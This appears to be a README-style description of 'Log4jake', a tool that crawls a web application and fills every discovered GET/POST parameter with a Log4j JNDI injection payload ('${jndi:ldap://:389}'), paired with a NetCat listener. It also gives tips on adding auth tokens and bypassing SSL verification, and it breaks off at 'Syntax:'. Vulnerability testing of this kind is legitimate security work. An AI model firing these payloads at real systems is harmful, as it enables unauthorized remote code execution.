Log4jake works by spidering a web application for GET/POST requests

Log4jake works by spidering a web application for GET/POST requests. It will then automatically execute the GET/POST requests, filling any discovered parameters with the ${jndi:ldap://:389} Log4j payload. Note that this tool is designed to work simultaneously with a NetCat listener.

If you want to test behind authentication, use the commented ‘#req.add_header(‘Authorization’, “token_goes_here”)’ line to add the proper token. If you are experiencing SSL errors, use the commented ‘#context = ssl._create_unverified_context()’ line in addition to ‘resp = urllib.request.urlopen(req, context=context)’

Syntax: